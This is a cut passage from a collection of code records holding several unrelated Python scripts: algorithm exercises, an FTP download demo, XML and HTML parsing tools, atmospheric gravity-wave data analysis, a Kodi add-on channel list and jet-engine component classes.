len(self.buffer)","repo_name":"arasdar/RL","sub_path":"pytorch/dqn/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3139724314","text":"# BOJ 1120\nimport sys\n\n\nsi = sys.stdin.readline\n\n# 모든 글자 추가 가능\n\nMIN = 51\n\n\na, b = map(str, si().split())\nres = MIN\nfor i in range(len(b) - len(a) + 1):\n cnt = 0\n for j in range(len(a)):\n if b[i + j] != a[j]:\n cnt += 1\n res = min(res, cnt)\nprint(res)\n\n\n\"\"\"\ndef solve(string):\n if len(string) == size:\n s = 0\n for y in range(size):\n if string[y] != b[y]:\n s += 1\n cnt[0] = min(cnt[0], s)\n return\n for y in range(26):\n if alphabets[y]:\n solve(chr(ord(\"a\") + y) + string)\n solve(string + chr(ord(\"a\") + y))\n\"\"\"\n\"\"\"\ndef bfs(string):\n que = deque()\n que.append(string)\n res = MIN\n while que:\n s = que.popleft()\n if len(s) == size:\n cnt = 0\n for y in range(size):\n if b[y] != s[y]:\n cnt += 1\n res = min(res, cnt)\n elif len(s) < size:\n for y in range(26):\n alpha = chr(ord(\"a\") + y)\n if alphabets[y]:\n que.append(s + alpha)\n que.append(alpha + s)\n return res\n\"\"\"","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"BOJ/exaustive_search_boj/string.py","file_name":"string.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"44782554520","text":"from itertools import combinations as combos\nimport numpy as np\n\n\ndef pentagonal(n):\n return (n*((3*n)-1)/2)\n\n# def pentagonal_list(num):\n# return [pentagonal(j) for j in range(1, num+1)]\n\nif __name__ == '__main__':\n upper_index_bound = 2000\n indices_list = []\n for pair in combos(range(1, upper_index_bound), 2):\n indices_list.append((pair[0], pair[1], abs(pair[0] - pair[1])))\n numpairs = len(indices_list)\n\n pentaglist = [pentagonal(j) for j in range(1, upper_index_bound)]\n refined_pentagonals = [] # List that will contain pairs of pentagonal numbers that satisfy said criteria\n\n pentarr = np.zeros((3, numpairs), dtype=int)\n for j in range(numpairs):\n tup = indices_list[j]\n pentarr[0,j] = tup[0]\n pentarr[1,j] = tup[1]\n pentarr[2,j] = tup[2]\n\n # sort by the pentagonal number index difference\n pentarr = pentarr[:, pentarr[2].argsort()]\n\n found = False\n j = 0\n print(pentaglist)\n while not found:\n col = pentarr[:,j]\n pk = pentagonal(col[0])\n pj = pentagonal(col[1])\n added = pk + pj\n diff = abs(pk - pj)\n if added in pentaglist and diff in pentaglist:\n found = True\n ans = (pk, pj)\n else:\n j += 1\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ngoldsworth/Proj-Euler","sub_path":"p044.py","file_name":"p044.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73819902972","text":"import aioftp\nimport asyncio\n\nfiles = [\n \"20MB.zip\",\n \"10MB.zip\",\n \"1MB.zip\",\n]\n\nasync def get_data(file: str):\n async with aioftp.Client.context(\"speedtest.tele2.net\") as client:\n print(f\"Downloading file {file}...\")\n await client.download(file, f\"data/{file}\", write_into=True)\n print(f\"Finished downloading file {file} into data/{file}\")\n\nasync def main():\n tasks = [\n asyncio.create_task(get_data(file)) for file in files\n ]\n await asyncio.wait(tasks)\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n\n","repo_name":"HassenIO/aioftp-example","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18513111975","text":"import tkinter as tk\nfrom tkinter import ttk\n\nfrom enum import Enum\nfrom lxml import etree\n\nclass xsdtags(Enum):\n SCHEMA=\"schema\"\n ELEMENT=\"element\"\n SIMPLE_TYPE=\"simpleType\"\n COMPLEX_TYPE=\"complexType\"\n ENUMERATION=\"enumeration\"\n SEQUENCE=\"sequence\"\n CHOICE=\"choice\"\n\ndef find_type_definition(xsd, name):\n for el in xsd.iter(\"{*}complexType\", \"{*}simpleType\"):\n if \"name\" in el.attrib:\n if el.attrib[\"name\"]==name:\n return el\n return None\n\ndef describe_schema(xsd, element):\n # go through elements and choices and print their description\n for e in element:\n if isinstance(e, etree._Comment):\n continue\n elif e.tag.endswith(\"element\"):\n describe_element(xsd, e)\n elif e.tag.endswith(\"choice\"):\n describe_choice(xsd, e)\n else:\n pass\ndef describe_element(xsd, element, lvl=0):\n print(\"{}- {}\".format(lvl*\" \",element.attrib[\"name\"]))\n # get the type definition \n _type = element.attrib[\"type\"]\n if \":\" in _type:\n _type = _type.split(\":\")[-1]\n d = find_type_definition(xsd, _type)\n # iterate over elements of the definition and describe them\n for el in d:\n if el.tag.endswith(\"sequence\"):\n print(\"{}- seq :\".format((lvl+1)*\" \"))\n for item in el:\n if item.tag.endswith(\"element\"):\n describe_element(xsd, item, lvl+2)\n if item.tag.endswith(\"choice\"):\n print(\"{}- choice :\".format((lvl+2)*\" \"), item.attrib)\n for c in item:\n if c.tag.endswith(\"element\"):\n describe_element(xsd, c, lvl+3)\n\n\ndef describe_choice(xsd, element):\n print(\"describe choice {}\".format(element.tag))\n\"\"\"\nA single XSD file can contain multiple schema definitions. Find each one and list the complexTypes that\nare defined therein.\n\"\"\"\nif __name__==\"__main__\":\n xsd_filename = \"spase-2.3.1.xsd\"\n # load the tree\n xsd_tree = etree.parse(xsd_filename)\n \n # list all schemas in the XSD file\n for schema_el in xsd_tree.iter(tag=\"{*}schema\"):\n print(\"Schema name : \",schema_el)\n describe_schema(xsd_tree, schema_el)\n\n exit()\n","repo_name":"Dolgalad/xsd2tkform","sub_path":"test/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37270769874","text":"import json\nfrom lxml import etree, html\nimport requests\n\ndef read_json_file(file_path):\n with open(file_path, 'r') as json_file:\n data = json.load(json_file)\n return data\n\n\ndef find_element_by_xpath(html_tree, xpath):\n element = html_tree.xpath(xpath)\n if element:\n element_text = element[0].text.strip() if element[0].text else element[0].text_content().strip()\n return element_text\n print(f\" Couldn't find {xpath}\")\n return None\n\n\ndef get_html_from_url(url):\n try:\n response = requests.get(url)\n response.raise_for_status() # Raise an error for bad HTTP responses\n html = response.text\n #print(html)\n return html\n except requests.exceptions.RequestException as e:\n print(f\"Error: {e}\")\n return None\n\nif __name__ == \"__main__\":\n json_data = read_json_file('test.json')\n domain = json_data['domain']\n html_source = get_html_from_url(domain)\n\n html_etree = html.fromstring(html_source)\n title = find_element_by_xpath(html_etree, json_data['title'])\n body = find_element_by_xpath(html_etree, json_data['body'])\n author = find_element_by_xpath(html_etree, json_data['author'])\n date = find_element_by_xpath(html_etree, json_data['date'])\n\n if title and body:\n \n formatted_article = f\"Domain: {domain}\\nTitle: {title}\\nAuthor: {author}\\nDate: {date}\\n\\n{body}\\n\"\n print(formatted_article)\n ","repo_name":"greenoctopus20/octopus-crawler-system","sub_path":"extractor/extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29026527681","text":"\nidade = int(input('Qual a sua idade?'))\n\n'''\nif idade >= 16:\n resultado = print('Voto permitido')\nelse:\n resultado = print('Voto não é permitido')\n'''\n\nresultado = 'Voto permitido' if idade >= 16 else 'Voto não Permitido'\nprint(resultado)\n","repo_name":"rafaelvieiracosta/aprendendo-python","sub_path":"M03 - controledefluxo/03 - operadorternario.py","file_name":"03 - operadorternario.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73845015930","text":"import src.data_tools as dt\nimport src.gw_eqns as gwe\n\nimport math\nimport matplotlib.pyplot as plt\nimport metpy.plots as metplt\nimport numpy as np\nimport numpy.linalg\nimport scipy as sp\nimport scipy.interpolate\nimport scipy.optimize\nimport scipy.signal\nimport statistics as stats\n\nsaveGraphs = False\n\n# Extract data from files\ntemperature = dt.extract_data(\"data/high_resolution/Tint18251_31_nw4sg4nFnC\") \nnorth_wind = dt.extract_data(\"data/high_resolution/Vint18251_29_nw3sg3nFnC\")\neast_wind = dt.extract_data(\"data/high_resolution/Vint18251_31_nw4sg4nFnC\")\n\n# Find number of data sets collected\ndata_sets = dt.get_num_data_sets_t(temperature)\nassert dt.get_num_data_sets_t(temperature) == dt.get_num_data_sets_w(north_wind) == dt.get_num_data_sets_w(east_wind)\n\n# Manually enter time interval (in hours)\ntime_interval = 0.25\n\n# Generate time axis\ntime_axis = dt.generate_time_axis(time_interval, data_sets)\n\n# Generate list of altitudes of interest\nmin, max, step = 85.0, 100.0, 1.0 \naltitudes = dt.generate_altitudes_list(min, max, step)\n\n# Initialize data set size trackers\ntemperature_data_sets = [data_sets] * len(temperature)\nnorth_wind_data_sets = [data_sets] * len(north_wind)\neast_wind_data_sets = [data_sets] * len(east_wind)\n\n# Remove data which exceeds maximum percent error\nmax_error = 0.05 # Maximum percent error\ndt.remove_bad_data(temperature, max_error, data_sets)\ndt.remove_bad_data(north_wind, max_error, data_sets)\ndt.remove_bad_data(east_wind, max_error, data_sets)\n\n# Convert LOS wind to horizontal wind\ndt.scale_data(north_wind, math.sin(2 * math.pi / 9))\ndt.scale_data(east_wind, math.sin(math.pi / 3))\n\n# Apply polynomial fit to data to approximate background\ndeg = 3 # Highest degree of polynomial fit\ntemperature_bg = dt.bg_fit(temperature, data_sets, deg)\nnorth_wind_bg = dt.bg_fit(north_wind, data_sets, deg)\neast_wind_bg = dt.bg_fit(east_wind, data_sets, deg)\n\n# Subtract polynomial fit at each altitude from data sets\ndt.bg_filter(temperature, data_sets, temperature_bg)\ndt.bg_filter(north_wind, data_sets, north_wind_bg)\ndt.bg_filter(east_wind, data_sets, east_wind_bg)\n\n# TODO: Move data reconstruction ahead of background fit and filter, adjust data_tools functions as needed\n# Interpolate data at given altitudes\ntemperature_interpolation = dt.linear_interpolation(temperature, data_sets)\nnorth_wind_interpolation = dt.linear_interpolation(north_wind, data_sets)\neast_wind_interpolation = dt.linear_interpolation(east_wind, data_sets)\n\n# Reconstruct data using interpolation functions\ntemperature = dt.reconstruct_data(altitudes, temperature_interpolation, data_sets)\nnorth_wind = dt.reconstruct_data(altitudes, north_wind_interpolation, data_sets)\neast_wind = dt.reconstruct_data(altitudes, east_wind_interpolation, data_sets)\n\n# Find dT / dz\ndTdz = gwe.get_dTdz(altitudes, temperature, data_sets)\n\n# Apply median filter to data to remove outliers\ndt.median_filter(temperature, 3)\ndt.median_filter(north_wind, 3)\ndt.median_filter(east_wind, 3)\n\nif saveGraphs:\n # Save data graphs\n dt.save_data(altitudes, temperature, time_axis, title=\"Temperature Perturbation\", xlabel=\"Time (hours)\", ylabel=\"Temperature (K)\", folder=\"figures/TempPerturb/\", filename=\"TempPerturb\")\n dt.save_data(altitudes, north_wind, time_axis, title=\"North Wind Perturbation\", xlabel=\"Time (hours)\", ylabel=\"Speed (m/s)\", folder=\"figures/NorthWindPerturb/\", filename=\"NorthWindPerturb\")\n dt.save_data(altitudes, east_wind, time_axis, title=\"East Wind Perturbation\", xlabel=\"Time (hours)\", ylabel=\"Speed (m/s)\", folder=\"figures/EastWindPerturb/\", filename=\"EastWindPerturb\")\n\n# Apply FFT to data\ntemperature_fft = dt.fast_fourier_transform(temperature)\nnorth_wind_fft = dt.fast_fourier_transform(north_wind)\neast_wind_fft = dt.fast_fourier_transform(east_wind)\n\n# Graph FFTs\nfreq = 1/900\n#dt.display_fft(temperature_fft, altitudes, data_sets, freq, title=\"Temperature)\n#dt.display_fft(north_wind_fft, altitudes, data_sets, freq, title=\"North Wind\")\n#dt.display_fft(east_wind_fft, altitudes, data_sets, freq, title=\"East Wind\")\n\nif saveGraphs:\n ## Save FFT graphs\n dt.save_fft(temperature_fft, altitudes, data_sets, freq, title=\"Temperature\", folder=\"figures/TempFFT/\", filename=\"TempFFT1\")\n dt.save_fft(north_wind_fft, altitudes, data_sets, freq, title=\"North Wind\", folder=\"figures/NorthWindFFT/\", filename=\"NorthWindFFT1\")\n dt.save_fft(east_wind_fft, altitudes, data_sets, freq, title=\"East Wind\", folder=\"figures/EastWindFFT/\", filename=\"EastWindFFT1\")\n\n# Apply sin/cos residual fit to find first residual\ntemperature_resid_1 = dt.first_residual_fit(temperature, time_axis, data_sets)\nnorth_wind_resid_1 = dt.first_residual_fit(north_wind, time_axis, data_sets)\neast_wind_resid_1 = dt.first_residual_fit(east_wind, time_axis, data_sets)\n\nif saveGraphs:\n # Save data graphs\n temp_fit = []\n north_fit = []\n east_fit = []\n for i in range(len(altitudes)):\n tf = []\n nf = []\n ef = []\n for j in range(int(data_sets * time_interval)):\n tf.append(dt.first_residual_function(j, temperature_resid_1[i][0][0], temperature_resid_1[i][0][1]))\n nf.append(dt.first_residual_function(j, north_wind_resid_1[i][0][0], north_wind_resid_1[i][0][1]))\n ef.append(dt.first_residual_function(j, east_wind_resid_1[i][0][0], east_wind_resid_1[i][0][1]))\n temp_fit.append(tf)\n north_fit.append(nf)\n east_fit.append(ef)\n \n dt.save_data(altitudes, temperature, time_axis, fitted_line=temp_fit, title=\"Temperature Perturbation\", xlabel=\"Time (hours)\", ylabel=\"Temperature (K)\", folder=\"figures/TempPerturb/\", filename=\"TempPerturb\")\n dt.save_data(altitudes, north_wind, time_axis, fitted_line=north_fit, title=\"North Wind Perturbation\", xlabel=\"Time (hours)\", ylabel=\"Speed (m/s)\", folder=\"figures/NorthWindPerturb/\", filename=\"NorthWindPerturb\")\n dt.save_data(altitudes, east_wind, time_axis, fitted_line=east_fit, title=\"East Wind Perturbation\", xlabel=\"Time (hours)\", ylabel=\"Speed (m/s)\", folder=\"figures/EastWindPerturb/\", filename=\"EastWindPerturb\")\n\n# Subtract residual fit from data at each altitude\ndt.first_residual_filter(temperature, temperature_resid_1, data_sets)\ndt.first_residual_filter(north_wind, north_wind_resid_1, data_sets)\ndt.first_residual_filter(east_wind, east_wind_resid_1, data_sets)\n\n# Apply sin/cos residual fit to find second residual\ntemperature_resid_2 = dt.second_residual_fit(temperature, time_axis, data_sets)\nnorth_wind_resid_2 = dt.second_residual_fit(north_wind, time_axis, data_sets)\neast_wind_resid_2 = dt.second_residual_fit(east_wind, time_axis, data_sets)\n\n# Apply FFT to data\ntemperature_fft = dt.fast_fourier_transform(temperature)\nnorth_wind_fft = dt.fast_fourier_transform(north_wind)\neast_wind_fft = dt.fast_fourier_transform(east_wind)\n\n# Graph FFTs\n#dt.display_fft(temperature_fft, altitudes, data_sets, freq, title=\"Temperature\")\n#dt.display_fft(north_wind_fft, altitudes, data_sets, freq, title=\"North Wind\")\n#dt.display_fft(east_wind_fft, altitudes, data_sets, freq, title=\"East Wind\")\n\nif saveGraphs:\n # Save FFT graphs\n dt.save_fft(temperature_fft, altitudes, data_sets, freq, title=\"Temperature\", folder=\"figures/TempFFT/\", filename=\"TempFFT2\")\n dt.save_fft(north_wind_fft, altitudes, data_sets, freq, title=\"North Wind\", folder=\"figures/NorthWindFFT/\", filename=\"NorthWindFFT2\")\n dt.save_fft(east_wind_fft, altitudes, data_sets, freq, title=\"East Wind\", folder=\"figures/EastWindFFT/\", filename=\"EastWindFFT2\")\n\n# Graph wind hodographs\n# dt.display_hodograph(east_wind, north_wind, altitudes)\n\nif saveGraphs:\n # Save wind hodographs\n dt.save_hodograph(altitudes, east_wind, north_wind, title=\"Wind\", folder=\"figures/HodographRaw/\", filename=\"RawWindData\")\n\n# Find Planar Wind\nplanar_wind_magnitude, planar_wind_direction = dt.get_planar_wind(altitudes, north_wind_interpolation, east_wind_interpolation, data_sets)\n\n#for i in range(len(planar_wind_magnitude)):\n# for j in range(len(planar_wind_magnitude[i])):\n# print(planar_wind_magnitude[i][j], end=\"\")\n# print(\" m/s at \", end=\"\")\n# print(planar_wind_direction[i][j], end=\"\")\n# print(\"degrees E of N\")\n\nnew_north = []\nnew_east = []\nfor i in range(len(altitudes)):\n nn = []\n ne = []\n for j in range(data_sets):\n nn.append(dt.second_residual_function(j, north_wind_resid_2[i][0][0], north_wind_resid_2[i][0][1]))\n ne.append(dt.second_residual_function(j, east_wind_resid_2[i][0][0], east_wind_resid_2[i][0][1]))\n new_north.append(nn)\n new_east.append(ne)\n\nif saveGraphs:\n # Save fitted wind hodographs\n dt.save_hodograph(altitudes, new_east, new_north, title=\"Wind\", folder=\"figures/HodographFitted/\", filename=\"FittedWindData\")\n\ndTdz = -0.96526\n# Crunch the numbers\nf = 0.055\nm = 1 / 7.0\nphase_diffs = gwe.get_phase_differences(altitudes, north_wind_resid_1, east_wind_resid_1, data_sets)\nphi_uv = gwe.get_phi_uv(altitudes, new_north, new_east, phase_diffs, data_sets)\nxi_list = gwe.get_xi(altitudes, new_north, new_east, phi_uv, data_sets)\nu_para2 = gwe.get_2u_parallel2(altitudes, new_north, new_east, phi_uv, data_sets)\nu_perp2 = gwe.get_2u_perpendicular2(altitudes, new_north, new_east, phi_uv, data_sets)\nw2 = gwe.get_w2(altitudes, u_para2, u_perp2, data_sets, f)\nN2 = gwe.get_N2(altitudes, temperature, dTdz, data_sets)\nk2 = gwe.get_k2(altitudes, w2, N2, data_sets, f, m)\n\nxi_avg = dt.get_2d_list_average(xi_list)\nu_para2_avg = dt.get_2d_list_average(u_para2) / 2\nu_perp2_avg = dt.get_2d_list_average(u_perp2) / 2\nw2_avg = dt.get_2d_list_average(w2)\nN2_avg = dt.get_2d_list_average(N2)\nk2_avg = dt.get_2d_list_average(k2)\n\ndTdz_km = (1/1000) * dTdz\nxi_rad = math.sqrt(xi_avg)\nxi_deg = (xi_rad * 180) / math.pi\nu_para = math.sqrt(abs(u_para2_avg))\nu_perp = math.sqrt(abs(u_perp2_avg))\nN = math.sqrt(abs(N2_avg))\nk = math.sqrt(abs(k2_avg))\n\nw = math.sqrt(abs(w2_avg))\nL = 1 / k\n\nc_parallel = w / k\nc_z = w / m\n\nprint(\n \"\\ndTdz:\\t\\t\\t\" + str(dTdz) + \" K/m\\t\\t\\t\" + str(dTdz_km) + \" K/km\" + \n \"\\nHorizontal direction:\\t\" + str(xi_rad) + \" radians\\t\" + str(xi_deg) + \" degrees\" +\n \"\\nu_parallel:\\t\\t\" + str(u_para) + \" km/h\" +\n \"\\nu_perpendicular:\\t\" + str(u_perp) + \" km/h\" +\n \"\\nBuoyancy frequency:\\t\" + str(N) + \" /h\" +\n \"\\nWave number:\\t\\t\" + str(k) + \" /km\" +\n \"\\nIntrinsic frequency:\\t\" + str(w) + \" /h\" +\n \"\\nHorizontal wavelength:\\t\" + str(L) + \" km\" +\n \"\\nHorizontal phase speed:\\t\" + str(c_parallel) + \" km/h\" +\n \"\\nVertical phase speed:\\t\" + str(c_z) + \" km/h\"\n )\n\nhorizontal_wind = dt.get_2d_list_average(planar_wind_magnitude)\nprint(horizontal_wind)\n\nzonal = dt.get_2d_list_average(east_wind)\nprint(zonal)\n\nmeridional = dt.get_2d_list_average(north_wind)\nprint(meridional)","repo_name":"jaormsby/Hodographs","sub_path":"Hodographs/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35736038661","text":"import csv\nimport math\nimport re\nfrom collections import Counter\nfrom whoosh.analysis import StemmingAnalyzer\nfrom whoosh.fields import *\nimport os.path\nfrom whoosh import index\nfrom whoosh.qparser import QueryParser\nfrom whoosh.reading import TermNotFound\nfrom html.parser import HTMLParser\n\n\nWORD = re.compile(r\"\\w+\")\n\n\ndef get_cosine(vec1, vec2):\n intersection = set(vec1.keys()) & set(vec2.keys())\n numerator = sum([vec1[x] * vec2[x] for x in intersection])\n\n sum1 = sum([vec1[x] ** 2 for x in list(vec1.keys())])\n sum2 = sum([vec2[x] ** 2 for x in list(vec2.keys())])\n denominator = math.sqrt(sum1) * math.sqrt(sum2)\n\n if not denominator:\n return 0.0\n else:\n return float(numerator) / denominator\n\n\ndef text_to_vector(text):\n words = WORD.findall(text)\n return Counter(words)\n\n\ndef load_index(file_name, index_dir):\n if not os.path.exists(index_dir):\n os.mkdir(index_dir)\n\n if index.exists_in(index_dir):\n return index.open_dir(index_dir)\n else:\n return create_index(file_name, index_dir)\n\n\ndef create_index(file_name, index_dir):\n schema = Schema(entity=ID(), authors_name=TEXT(analyzer=StemmingAnalyzer(), stored=True),\n member_of=KEYWORD(stored=True))\n h = HTMLParser()\n idx = index.create_in(index_dir, schema)\n writer = idx.writer()\n\n with open(file_name, 'r') as file:\n csv_reader = csv.reader(file, delimiter='\\t')\n next(csv_reader)\n\n for row in csv_reader:\n authors_name = row[1]\n authors_name = h.unescape(authors_name)\n member_of = row[2]\n writer.add_document(authors_name=f'{authors_name}', member_of=f'{member_of}')\n\n writer.commit()\n\n return idx\n\n\ndef find_similar_authors(file_name_index, index_dir, file_name):\n idx = load_index(file_name_index, index_dir)\n h = HTMLParser()\n with open('../datas/results/similarAuthors.csv', 'w') as f:\n writer = csv.writer(f, delimiter='\\t', lineterminator='\\n')\n writer.writerow(['name', 'similar_name'])\n with open(file_name, 'r') as file:\n csv_reader = csv.reader(file, delimiter='\\t')\n next(csv_reader)\n for row in csv_reader:\n aff1 = row[1]\n aff2 = row[3]\n\n qp = QueryParser('entity', schema=idx.schema)\n query = qp.parse(f'{aff1}')\n with idx.searcher() as searcher:\n try:\n results = searcher.search(query)\n except TermNotFound:\n results = []\n\n for hit in results:\n affiliation = hit['name']\n\n qp = QueryParser('entity', schema=idx.schema)\n query = qp.parse(f'{aff2}')\n with idx.searcher() as searcher:\n try:\n results = searcher.search(query)\n except TermNotFound:\n results = []\n\n for hit in results:\n affiliation2 = hit['name']\n\n vector1 = text_to_vector(affiliation)\n vector2 = text_to_vector(affiliation2)\n\n similarity = get_cosine(vector1, vector2)\n\n if similarity >= 0.5:\n writer.writerow([row[0], row[2]])\n f.close()\n\n\nif __name__ == \"__main__\":\n file_name_index = '../data/original/affiliations.csv'\n index_dir = '../data/index/affiliations'\n file_name = '../data/temp/similarAuthorsPlusAffiliations.csv'\n\n find_similar_authors(file_name_index, index_dir, file_name)\n","repo_name":"popovcova/vinf","sub_path":"src/searchers/find_similar_authors.py","file_name":"find_similar_authors.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10746506322","text":"import xbmc\nimport xbmcgui\nimport favorite\nimport func\nimport metadatainfo\nimport path\nimport var\n\ndef list_load(listContainer):\n favorite.favorite_json_load()\n var.ChannelIdsPlayable = []\n for channel in var.ChannelsDataJsonTelevision['resultObj']['containers']:\n try:\n #Load channel basics\n AssetId = metadatainfo.stream_assetid_from_json_metadata(channel['assets'])\n ChannelId = metadatainfo.channelId_from_json_metadata(channel)\n ChannelName = metadatainfo.channelName_from_json_metadata(channel)\n ChannelIsAdult = metadatainfo.isAdult_from_json_metadata(channel)\n\n #Check if channel is streamable\n if func.string_isnullorempty(AssetId): continue\n\n #Add channelId to playable id list\n var.ChannelIdsPlayable.append(ChannelId)\n\n #Check if channel is filtered\n if var.addon.getSetting('TelevisionChannelNoErotic') == 'true' and ChannelIsAdult == True: continue\n\n #Check if there are search results\n if var.SearchChannelTerm != '':\n searchMatch = func.search_filter_string(ChannelName)\n searchResultFound = var.SearchChannelTerm in searchMatch\n if searchResultFound == False: continue\n\n #Check if channel is marked as favorite or epg navigate\n if ChannelId in var.FavoriteTelevisionDataJson:\n ChannelFavorite = 'true'\n elif ChannelId == var.addon.getSetting('CurrentChannelId') and xbmc.Player().isPlayingVideo():\n ChannelFavorite = 'false'\n elif ChannelId == var.EpgCurrentChannelId and func.string_isnullorempty(var.EpgNavigateProgramId) == False:\n ChannelFavorite = 'false'\n elif var.addon.getSetting('LoadChannelFavoritesOnly') == 'true' and func.string_isnullorempty(var.SearchChannelTerm):\n continue\n else:\n ChannelFavorite = 'false'\n\n #Load channel details\n ExternalId = metadatainfo.externalId_from_json_metadata(channel)\n ChannelNumber = metadatainfo.orderId_from_json_metadata(channel)\n ChannelNumberAccent = func.get_provider_color_string() + ChannelNumber + '[/COLOR]'\n ChannelRecordEvent = 'false'\n ChannelRecordSeries = 'false'\n ChannelAlarm = 'false'\n ProgramNowName = 'Informatie wordt geladen'\n ProgramNextName = 'Informatie wordt geladen'\n ProgramDescription = 'Programmabeschrijving wordt geladen.'\n ProgramProgressPercent = '100'\n\n #Add television channel\n listItem = xbmcgui.ListItem()\n listItem.setProperty('Action', 'play_stream')\n listItem.setProperty('AssetId', AssetId)\n listItem.setProperty('ChannelId', ChannelId)\n listItem.setProperty('ChannelNumber', ChannelNumber)\n listItem.setProperty('ChannelNumberAccent', ChannelNumberAccent)\n listItem.setProperty('ChannelFavorite', ChannelFavorite)\n listItem.setProperty('ExternalId', ExternalId)\n listItem.setProperty('ChannelName', ChannelName)\n listItem.setProperty('ChannelRecordEvent', ChannelRecordEvent)\n listItem.setProperty('ChannelRecordSeries', ChannelRecordSeries)\n listItem.setProperty('ChannelAlarm', ChannelAlarm)\n listItem.setProperty(\"ProgramNowName\", ProgramNowName)\n listItem.setProperty(\"ProgramNextName\", ProgramNextName)\n listItem.setProperty(\"ProgramDescription\", ProgramDescription)\n listItem.setProperty(\"ProgramProgressPercent\", ProgramProgressPercent)\n listItem.setInfo('video', {'Genre': 'Televisie'})\n listItem.setArt({'thumb': path.icon_television(ExternalId), 'icon': path.icon_television(ExternalId)})\n listContainer.append(listItem)\n except:\n continue\n","repo_name":"dumbie/KodiAddons","sub_path":"plugin.video.xs4allwebbieplayer/lichanneltelevision.py","file_name":"lichanneltelevision.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"35165137269","text":"# -*- coding=utf-8-*-\n# @author:Jake Lee\n# @file:handle_logger.py\n# @time:2021/5/19 22:57\n# @software:PyCharm\n\nimport logging\nfrom tools.handle_read_conf import log_info\nfrom tools.handle_path import logfile\n\n\nclass HandleLogger(logging.Logger):\n def __init__(self, name, level=logging.INFO, file=None):\n # 调用父类初始化方法,设置日志级别、日志渠道、日志格式\n super().__init__(name=name, level=level)\n # 创建日志输出格式\n fmt = '%(asctime)s %(name)s %(levelname)s %(filename)s[第%(lineno)d行] %(message)s'\n datefmt = '%Y-%m-%d %H:%M:%S'\n formatter = logging.Formatter(fmt=fmt, datefmt=datefmt)\n # 创建控制台渠道:\n s_handler = logging.StreamHandler()\n # 绑定日志格式到控制台渠道\n s_handler.setFormatter(formatter)\n # 将控制台渠道和日志收集器绑定\n self.addHandler(s_handler)\n\n # 假如传入文件路径,则默认创建文件形式渠道\n try:\n if file:\n f_handler = logging.FileHandler(filename=file, encoding='utf-8')\n f_handler.setFormatter(formatter)\n self.addHandler(f_handler)\n except FileNotFoundError as e:\n print(\"File Not Found Error\")\n raise e\n\n\nlogger = HandleLogger(name=log_info['logger_name'], file=logfile)\n\n","repo_name":"chenkai05140011/WebUIAuto","sub_path":"tools/handle_logger.py","file_name":"handle_logger.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18315967189","text":"from huracan.engine import component\n\n\nclass screw(component):\n \"\"\"\n Screw\n -----\n\n Mechanical device to turn rotational to axial motion.\n \"\"\"\n def __init__(self,\n eta,\n PI=None,\n TAU=None):\n \"\"\"\n :type eta: float\n :type PI: float\n :type TAU: float\n \"\"\"\n self.eta = eta\n self.PI = PI\n self.TAU = TAU\n\n\nclass compressor(screw):\n \"\"\"\n Compressor\n ----------\n\n Adiabatic compression.\n \"\"\"\n def __init__(self,\n eta,\n PI=None,\n TAU=None):\n \"\"\"\n :type eta: float\n :type PI: float\n :type TAU: float\n \"\"\"\n super().__init__(eta=eta,\n PI=PI,\n TAU=TAU)\n\n def tf(self, gas):\n return gas.compression(eta=self.eta, PI=self.PI, TAU=self.TAU)\n\n\nclass turbine(screw):\n \"\"\"\n Turbine\n -------\n\n Adiabatic expansion.\n \"\"\"\n def __init__(self,\n eta,\n PI=None,\n TAU=None):\n \"\"\"\n :type eta: float\n :type PI: float\n :type TAU: float\n \"\"\"\n super().__init__(eta=eta,\n PI=PI,\n TAU=TAU)\n\n def tf(self, gas):\n \"\"\"\n Before runtime, if no total pressure or temperature\n ratio has been provided, a minimum total temperature\n ratio is calculated.\n This temperature ratio is that required to power the\n work exerting components in the turbine's shaft.\n \"\"\"\n if isinstance(self.PI, type(None)) and isinstance(self.TAU, type(None)):\n t00 = self.stream.gas.t0\n t01 = self.stream.gas.t0 - self.shaft.w_r()/(self.stream.gas.mf*self.stream.gas.cp(t00))\n self.TAU = t01/t00\n\n return gas.expansion(eta=self.eta, PI=self.PI, TAU=self.TAU)\n\n def w_r(self):\n return self.shaft.w_r()\n\n\nclass fan(screw):\n \"\"\"\n Fan\n ---\n\n Fundamental differences with a propeller:\n - Disk loading.\n - Fan shroud.\n - Bypass flow.\n \"\"\"\n\n def __init__(self,\n eta,\n PI=None,\n TAU=None):\n \"\"\"\n :type eta: float\n :type PI: float\n :type TAU: float\n \"\"\"\n super().__init__(eta=eta,\n PI= PI,\n TAU=TAU)\n\n def tf(self, gas):\n return gas.compression(eta=self.eta, PI=self.PI, TAU=self.TAU)\n\n\nclass prop(screw):\n \"\"\"\n Propeller\n 